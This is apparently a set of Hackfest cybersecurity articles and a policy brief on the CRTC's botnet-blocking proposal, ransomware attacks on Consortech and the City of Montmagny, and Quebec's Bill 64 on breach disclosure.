Is your smart fridge a traitor? Could it be that it no longer just texts you when you run out of milk, but has been recruited into a zombie network (botnet)? The CRTC (Canadian Radio-television and Telecommunications Commission) plans to block botnet traffic by applying measures that “strike a balance between effectiveness and ease of implementation” without imposing additional costs on subscribers. An overview of the methods used by operators shows this will be anything but easy.

The federal body responsible for regulating telecommunications proposes giving Internet service providers (ISPs) the mandate to filter botnet traffic. It is in this context that, until March 15, it is holding a call for comments. This blocking is meant to prevent communication between the infected devices that make up the botnet and their command and control server (C2 server). This filtering could take several forms. The CRTC’s call mentions “domain-based blocking, Internet Protocol (IP)-based blocking, and protocol-based blocking.”

The domain name is the name of the website we type into a browser’s address bar, such as “hackfest.ca,” for example. This domain name is then translated into an IP address by domain name resolvers (DNS).

“Domain-based blocking” involves creating and continuously updating a list of domain names to block. “Internet Protocol (IP)-based blocking” amounts to creating a similar list, but for IP addresses. To prevent abuse, the CRTC suggests that “an independent party specializing in cybersecurity” be responsible for the framework. That party would be able to approve additions to these lists.

Changing addresses to avoid detection

The obfuscation techniques used by botnet operators make applying these techniques extremely difficult. Indeed, as described in a review of the scientific literature published in 2017 (Botnet detection technology based on DNS, Xingguo Li et al., 2017), botnets use a method called “domain flux” to thwart detection attempts. This method allows botnets to constantly change the names of their C2 servers. Algorithms are used to generate multiple domain names pseudo-randomly. According to the authors of this article, keeping the list of these domains up to date would require an enormous amount of resources.

We run into the same problem when trying to block IP addresses. The “fast flux” technique is used to assign multiple IP addresses to the same domain name. In a variant called “double flux,” the zombies do not communicate directly with the C2 server, but with an intermediate layer of devices acting as relays. This configuration provides more resilience by isolating the core of the botnet.

The risk of false positives

Other factors increase what are known as “false positives” (the risk of blocking a domain name or IP address that is not malicious).

There are legitimate reasons to use botnet networks. These are not made up of devices infected without their owners’ knowledge, but they use a similar architecture. They are used for crawling the web (“web scraping”), by penetration testing teams (“red team”) and for other automation processes.

An article by the firm Fireeye sums up these difficulties well.

• Botnet developers use legitimate websites to host their code. It may be that a single document on such a site is used by the botnet for criminal purposes. Blocking the domain will not only block the zombies, but also legitimate access to the infected website.
• Operators use platforms such as Twitter, Amazon Cloud Services and other public hosting services. Blocking these services entirely is inconceivable.
• IP addresses, once abandoned by botnet operators, are used by legitimate sources that end up on blocklists.
• The Fireeye article also mentions the use of P2P (peer-to-peer) protocols. These botnets do not use C2 servers, rendering mechanisms for blocking them obsolete.

Faced with the botnet threat, the CRTC has expressed its desire to find a solution that is easy, effective and does not impose additional costs on Internet subscribers. An overview of the technologies used by botnet operators seems to indicate that a solution to this problem will be anything but easy.

photo credit: Melissa Mathies - CC license

Brossard-based company Consortech was the target of a cyberattack in early March. Despite the deployment of ransomware, they quickly recovered their data. However, they had to face the threat of seeing it released publicly. The subsequent disappearance of information about Consortech from the hackers’ site suggests that they got what they wanted.

Founded in 1989, Consortech specializes in getting value out of geospatial data. The company implements solutions for processing geographic data and automating the related processes. Its clients include several municipalities.

Avaddon, the ransomware group responsible for this attack, uses the “double extortion” method to increase pressure on its victims. In addition to encrypting the data to make it inaccessible, the hackers threaten to publish it if a ransom is not paid. A sample was posted on the Avaddon group’s site. It included contacts’ names, email addresses and phone numbers.

Contacted on March 8, Mr. Guillaume Genest, partner and general manager at Consortech, confirms that ransomware paralyzed their systems. The shutdown was short-lived, because the company had “healthy backups.” They were able to get back to work quickly. Mr. Genest confirms that the criminals demanded a ransom, without specifying the amount, and that he did not pay it. According to him, it is not out of the question that the insurer will decide to pay after completing a risk analysis.

Mr. Genest cannot say when the intrusion took place. The method used by the criminals to access their systems is not yet known. “We sent a notice to all of our clients to inform them of the situation and the data leak.” The situation is in the hands of a cybersecurity firm, and no comment can be made on the extent of the leak until the results of the ongoing investigation are in.

The day after our conversation, the company’s name and the page that hosted the data samples were no longer on the “Avaddon info” site. This disappearance suggests that the company, or its insurer, decided to pay the ransom. We tried to contact Mr. Genest by email to confirm the payment, but had not yet received a reply at the time this article was published.

The recently dismantled NetWalker ransomware platform was responsible for the cyberattack that paralyzed the servers of the City of Montmagny last January.

It was early in the morning of January 17, while trying to handle snow removal operations, that employees noticed the city’s computers were no longer responding. Criminals associated with the NetWalker group had encrypted their data and were demanding a ransom to recover it.

The outage affected the telephone and computer systems of the city, the library and the Société de développement économique de Montmagny. The use of externally hosted services and redundancies allowed the controllers of the water treatment management system and the emergency telephone system to remain operational.

Data recovered without a ransom

Reached by phone, Mr. Félix Michaud, Director General of the City of Montmagny, says the city has recovered the stolen data. “A new secure architecture” will be up and running in a few days. “We were lucky in our misfortune,” since the authorities dismantled NetWalker ten days after this attack.

The data systems will be restored without loss and without any ransom being paid. Mr. Michaud cannot say how the data was recovered, because the experts “don’t reveal the secret ingredients of their recipes,” but it does not appear that the hackers made copies. The experts are keeping watch to see whether this data resurfaces.

NetWalker, a turnkey service

Netwalker was a platform that allowed “affiliates” to rent its services to carry out ransomware attacks. The affiliate finds vulnerable computer systems and deploys the software maintained by the platform’s “developers.” This group had adopted the “double extortion” strategy. In addition to encrypting the data, the group would publish a sample of it and threaten to make everything public in order to force its victims to pay the ransom. The profits are then shared between the affiliate and the developers.

On January 27, the United States Department of Justice announced the arrest of a 33-year-old man living in Gatineau, Sébastien Vachon-Desjardins, in connection with the dismantling of the NetWalker network. According to an article published by the firm chainalysis, he is allegedly responsible for 91 attacks since April 2020. The same week, Bulgarian authorities seized a server hosting a “dark web” site used to communicate with victims and give them payment instructions.

Montmagny’s IT services will be restored within a few days. Mr. Michaud hopes that talking about their experience will help raise awareness among other organizations and businesses of the risks posed by this type of attack. He points out that the city managed to keep providing the necessary services thanks to the staff’s creativity, and that “in adversity, it helps forge closer ties between team members.”

• Addressed to: Commission d’accès à l’information du Québec (Quebec’s access to information commission) and of Canada
• By: Hackfest Communication and its participants:
  • Sam Harper
  • Coralie Grozner
  • Eric Hogue

Quebec is on its way to becoming a champion of security breaches. Many companies and organizations, such as Promutuel, the STM, the Ordre des Ingénieurs du Québec, HelpOX and many others, are falling victim to criminal groups using ransomware and other computer tools that allow them to steal data and extort their victims. Most of these breaches are not disclosed to the public, and a large number of these victims pay the ransoms. It is a lucrative market and, without a concerted response, it will only keep growing.

The Hackfest community is made up of people interested in cybersecurity. They are individuals who want to share their knowledge in the fields of information technology and cybersecurity. What we have in common is an awareness of the risks we are all exposed to when personal information is leaked. We care deeply about respecting confidentiality and security, and about putting appropriate measures in place to preserve them. We are speaking out because we believe this goal can be achieved through collaboration and greater transparency.

Disclosure obligation

Bill 64 is a step in the right direction. It will set out the obligation to disclose when a company is the victim of a security breach. We welcome the requirement to put clear privacy policies in place and the fact that the operator of a business is made responsible for protecting the personal information it holds.

Unfortunately, it seems to us that it leaves a lot of leeway to companies that want to avoid the obligation to disclose a “confidentiality incident.” The bill stipulates that a company is required to notify the Commission and the affected person only if the incident causes “serious injury.” We are currently seeing breaches, and their severity, being trivialized. We believe the balance should tip the other way, and that every “confidentiality incident” should be reported unless doing so would cause “serious injury.”

Knowledge sharing as a means of defence

It is rare for a company to disclose the technical information surrounding security breaches. Yet the community would benefit from a more open sharing of this information. While taking into account the need not to disclose sensitive or harmful information, a technical report should be required. What means did the criminals use? What software or organizational vulnerabilities were exploited? What types of data were stolen? How was the breach discovered?

Bill 64 provides for an obligation to take “reasonable” measures to ensure the security of personal information. These measures come at a cost. It would be interesting to know what percentage of their budget organizations and companies devote to cybersecurity. This information would allow customers to make an informed choice by choosing the companies that truly care about the security of their data.

Discouraging ransom payments

Ransomware is a lucrative business. As long as we pay, we will continue to be the victims of these attacks. Moreover, it is misguided to rely on criminal groups’ promises to destroy stolen data. A victim who pays once is a prime target for a second attack.

Deterrent administrative and monetary penalties

We are pleased to see monetary penalties introduced in Bill 64. Unfortunately, as long as the cost of inaction remains lower than the cost of an effective cybersecurity program, some will prioritize inaction. Penalties must be deterrent and large enough to encourage companies that do not take the threat seriously to invest adequately in cybersecurity.

We are aware that not all companies have the same means. However, keeping personal data is a choice that comes with responsibility. These penalties should therefore be paired with the possibility for SMEs to benefit from consulting services suited to their means.

Security breaches and data leaks are part of the new reality. The consequences for affected companies and their customers are serious. It is therefore essential to take this threat seriously and put the necessary measures in place to stem this scourge.